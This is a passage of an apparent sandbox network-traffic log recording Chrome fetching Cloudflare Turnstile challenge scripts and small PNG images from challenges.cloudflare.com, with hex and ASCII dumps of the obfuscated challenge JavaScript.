2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49757	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:06 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901ef7f939e87c7b&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:07 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:23:07 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 119548 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 901ef7fd398142c6-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:23:07 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconce
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 Data Ascii: connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 2c 67 36 2c 67 37 2c 67 61 2c 67 62 2c 67 42 2c 67 43 2c 67 47 2c 67 48 2c 67 38 2c 67 39 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 37 39 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 38 31 29 29 2f 32 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 35 32 31 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 32 36 29 29 2f 34 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 33 38 31 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 35 31 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 30 34 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 Data Ascii: ,g6,g7,ga,gb,gB,gC,gG,gH,g8,g9){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(479))/1+-parseInt(gI(1281))/2(parseInt(gI(521))/3)+-parseInt(gI(1726))/4(-parseInt(gI(381))/5)+-parseInt(gI(1451))/6+-parseInt(gI(1604))/7+parseInt(
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 6f 64 65 27 3a 65 5b 68 67 28 31 36 37 37 29 5d 2c 27 72 63 56 27 3a 65 4d 5b 68 67 28 35 38 38 29 5d 5b 68 67 28 35 31 30 29 5d 7d 2c 27 2a 27 29 29 3a 68 28 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 4a 28 31 35 34 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 2c 68 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 2c 43 2c 44 29 7b 69 3d 28 68 68 3d 67 4a 2c 7b 27 64 63 61 49 74 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 2c 47 29 7b 72 65 74 75 72 6e 20 45 28 46 2c 47 29 7d 2c 27 4a 4c 70 78 56 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 20 69 6e 73 74 61 6e 63 65 6f 66 20 46 7d 2c 27 5a 5a 67 69 4f 27 3a 68 68 28 31 31 31 34 29 2c 27 4b 64 58 65 64 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 Data Ascii: ode':e[hg(1677)],'rcV':eM[hg(588)][hg(510)]},'*')):h())},g)},eM[gJ(1540)]=function(f,g,h,hh,i,j,k,l,m,n,o,s,x,B,C,D){i=(hh=gJ,{'dcaIt':function(E,F,G){return E(F,G)},'JLpxV':function(E,F){return E instanceof F},'ZZgiO':hh(1114),'KdXed':function(E,F){retur
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 76 29 7b 72 65 74 75 72 6e 20 76 3d 3d 3d 73 7d 2c 66 5b 68 69 28 38 32 30 29 5d 3d 68 69 28 39 39 31 29 2c 66 5b 68 69 28 33 37 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 3e 76 7d 2c 67 3d 66 2c 67 5b 68 69 28 31 35 38 39 29 5d 28 65 2c 45 72 72 6f 72 29 29 3f 28 68 3d 65 5b 68 69 28 31 37 35 32 29 5d 2c 65 5b 68 69 28 31 34 33 38 29 5d 26 26 67 5b 68 69 28 39 33 33 29 5d 28 74 79 70 65 6f 66 20 65 5b 68 69 28 31 34 33 38 29 5d 2c 67 5b 68 69 28 38 32 30 29 5d 29 29 26 26 28 6c 3d 65 5b 68 69 28 31 34 33 38 29 5d 5b 68 69 28 35 34 36 29 5d 28 27 5c 6e 27 29 2c 67 5b 68 69 28 33 37 39 29 5d 28 6c 5b 68 69 28 31 35 37 30 29 5d 2c 31 29 29 26 26 28 6d 3d 2f 5e 5c 73 2a 61 74 5c 73 2b 28 2e 2b 29 3a 28 5c 64 2b 29 3a 28 5c Data Ascii: v){return v===s},f[hi(820)]=hi(991),f[hi(379)]=function(s,v){return s>v},g=f,g[hi(1589)](e,Error))?(h=e[hi(1752)],e[hi(1438)]&&g[hi(933)](typeof e[hi(1438)],g[hi(820)]))&&(l=e[hi(1438)][hi(546)]('\n'),g[hi(379)](l[hi(1570)],1))&&(m=/^\s*at\s+(.+):(\d+):(\
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 62 4d 3f 28 62 4f 3d 30 2c 62 50 5b 68 71 28 34 39 37 29 5d 28 6e 5b 68 71 28 34 30 38 29 5d 28 62 51 2c 62 52 29 29 2c 62 53 3d 30 29 3a 62 54 2b 2b 2c 62 4b 2b 2b 29 3b 66 6f 72 28 62 55 3d 62 56 5b 68 71 28 34 36 32 29 5d 28 30 29 2c 62 57 3d 30 3b 38 3e 62 58 3b 62 5a 3d 6e 5b 68 71 28 39 34 31 29 5d 28 6e 5b 68 71 28 31 38 32 36 29 5d 28 63 30 2c 31 29 2c 31 2e 35 31 26 63 31 29 2c 63 32 3d 3d 63 33 2d 31 3f 28 63 34 3d 30 2c 63 35 5b 68 71 28 34 39 37 29 5d 28 63 36 28 63 37 29 29 2c 63 38 3d 30 29 3a 63 39 2b 2b 2c 63 61 3e 3e 3d 31 2c 62 59 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 63 62 3d 31 2c 63 63 3d 30 3b 63 64 3c 63 65 3b 63 67 3d 6e 5b 68 71 28 31 30 33 37 29 5d 28 63 68 2c 31 29 7c 63 69 2c 63 6a 3d 3d 63 6b 2d 31 3f 28 63 6c 3d 30 2c 63 Data Ascii: bM?(bO=0,bP[hq(497)](n[hq(408)](bQ,bR)),bS=0):bT++,bK++);for(bU=bV[hq(462)](0),bW=0;8>bX;bZ=n[hq(941)](n[hq(1826)](c0,1),1.51&c1),c2==c3-1?(c4=0,c5[hq(497)](c6(c7)),c8=0):c9++,ca>>=1,bY++);}else{for(cb=1,cc=0;cd<ce;cg=n[hq(1037)](ch,1)\|ci,cj==ck-1?(cl=0,c
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 34 30 31 29 5d 2c 64 5b 69 67 28 31 32 34 31 29 5d 29 29 7b 69 66 28 64 5b 69 67 28 38 39 33 29 5d 28 64 5b 69 67 28 35 34 30 29 5d 2c 69 67 28 31 37 36 31 29 29 29 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 66 42 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 21 5b 5d 7d 7d 29 2c 66 44 3d 21 5b 5d 2c 21 66 34 28 67 4a 28 31 30 39 35 29 29 26 26 28 67 31 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 69 51 2c 63 2c 64 2c 65 29 7b 69 51 3d 67 4a 2c 63 3d 7b 27 67 55 57 4e 6a 27 3a 69 51 28 31 33 39 35 29 2c 27 67 48 6c 4f 75 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 2d 67 7d 2c 27 54 77 67 4e 44 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 2c 27 6b 74 55 43 74 27 3a 66 75 6e 63 74 Data Ascii: 401)],d[ig(1241)])){if(d[ig(893)](d[ig(540)],ig(1761)))clearInterval(fB);else return![]}}),fD=![],!f4(gJ(1095))&&(g1(),setInterval(function(iQ,c,d,e){iQ=gJ,c={'gUWNj':iQ(1395),'gHlOu':function(f,g){return f-g},'TwgND':function(f){return f()},'ktUCt':funct
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 29 7d 63 61 74 63 68 28 6a 29 7b 72 65 74 75 72 6e 20 67 33 28 67 34 28 65 29 29 7d 7d 2c 67 36 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6a 35 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 29 7b 66 6f 72 28 6a 35 3d 67 4a 2c 66 3d 7b 27 78 49 59 75 75 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6c 2b 6d 7d 2c 27 72 51 76 6b 64 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6c 2b 6d 7d 2c 27 68 61 56 47 78 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6c 28 6d 29 7d 2c 27 54 71 53 43 63 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6c 2d 6d 7d 2c 27 57 74 45 62 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6c 25 6d 7d 7d 2c 6b 2c 68 3d 33 32 2c 6a 3d 66 Data Ascii: )}catch(j){return g3(g4(e))}},g6=function(c,j5,f,g,h,i,j,k){for(j5=gJ,f={'xIYuu':function(l,m){return l+m},'rQvkd':function(l,m){return l+m},'haVGx':function(l,m){return l(m)},'TqSCc':function(l,m){return l-m},'WtEbn':function(l,m){return l%m}},k,h=32,j=f
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 72 6e 20 68 2d 69 7d 2c 27 76 79 62 45 72 27 3a 6a 37 28 31 35 34 37 29 2c 27 7a 4f 54 45 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 58 76 71 67 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 65 62 54 75 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 67 69 51 68 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 52 73 78 62 50 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 6e 6a 48 47 70 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 6d 55 52 61 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b Data Ascii: rn h-i},'vybEr':j7(1547),'zOTEt':function(h,i){return h(i)},'Xvqgu':function(h,i){return h<i},'ebTuj':function(h,i){return h(i)},'giQhz':function(h,i){return h!=i},'RsxbP':function(h,i){return h==i},'njHGp':function(h,i){return h&i},'mURah':function(h,i){
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 7b 66 6f 72 28 4f 3d 31 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 6a 61 28 36 37 31 29 5d 28 48 3c 3c 31 2c 4f 29 2c 64 5b 6a 61 28 31 32 36 34 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 6a 61 28 34 39 37 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4f 3d 43 5b 6a 61 28 34 36 32 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 6a 61 28 31 34 37 35 29 5d 28 31 36 2c 73 29 3b 48 3d 64 5b 6a 61 28 36 37 31 29 5d 28 48 3c 3c 31 2e 31 33 2c 31 2e 32 31 26 4f 29 2c 64 5b 6a 61 28 37 39 37 29 5d 28 49 2c 64 5b 6a 61 28 31 37 30 35 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 6a 61 28 34 39 37 29 5d 28 64 5b 6a 61 28 31 31 32 38 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 44 Data Ascii: {for(O=1,s=0;s<F;H=d[ja(671)](H<<1,O),d[ja(1264)](I,j-1)?(I=0,G[ja(497)](o(H)),H=0):I++,O=0,s++);for(O=C[ja(462)](0),s=0;d[ja(1475)](16,s);H=d[ja(671)](H<<1.13,1.21&O),d[ja(797)](I,d[ja(1705)](j,1))?(I=0,G[ja(497)](d[ja(1128)](o,H)),H=0):I++,O>>=1,s++);}D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49758	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:07 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:07 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:23:07 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 901ef7fd9a4a6a4e-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:23:07 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49760	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:07 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:07 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:23:07 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 901ef8016e1f0cb4-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:23:07 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49761	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:07 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901ef7f939e87c7b&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:07 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:23:07 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 118865 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 901ef802ada241c3-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:23:07 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.privacy_link":"htt
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 3a 22 56 65 72 69 66 69 63 61 74 69 Data Ascii: ps%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","turnstile_feedback_description":"Send%20Feedback","check_delays":"Verificati
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 2c 67 69 2c 67 6d 2c 67 74 2c 67 41 2c 67 42 2c 67 46 2c 67 47 2c 67 48 2c 65 4f 2c 65 50 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 37 33 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 35 32 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 35 37 36 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 39 36 29 29 2f 34 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 33 37 29 29 2f 35 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 30 37 36 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 32 37 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 49 28 Data Ascii: ,gi,gm,gt,gA,gB,gF,gG,gH,eO,eP){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1673))/1(-parseInt(gI(852))/2)+parseInt(gI(576))/3+parseInt(gI(1796))/4+parseInt(gI(1737))/5(-parseInt(gI(1076))/6)+-parseInt(gI(827))/7+parseInt(gI(
2025-01-14 16:23:07 UTC	1369	IN	Data Raw: 69 4e 70 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 76 55 4c 4a 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 4d 63 68 50 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 70 61 67 67 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 46 6f 50 6e 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 62 61 47 44 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 4d 49 50 70 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 47 44 44 42 73 27 3a 66 75 6e 63 74 69 Data Ascii: iNpc':function(h,i){return h==i},'vULJT':function(h,i){return h-i},'MchPq':function(h,i){return h(i)},'paggN':function(h,i){return h-i},'FoPnb':function(h,i){return i!=h},'baGDV':function(h,i){return i!=h},'MIPpw':function(h,i){return i==h},'GDDBs':functi
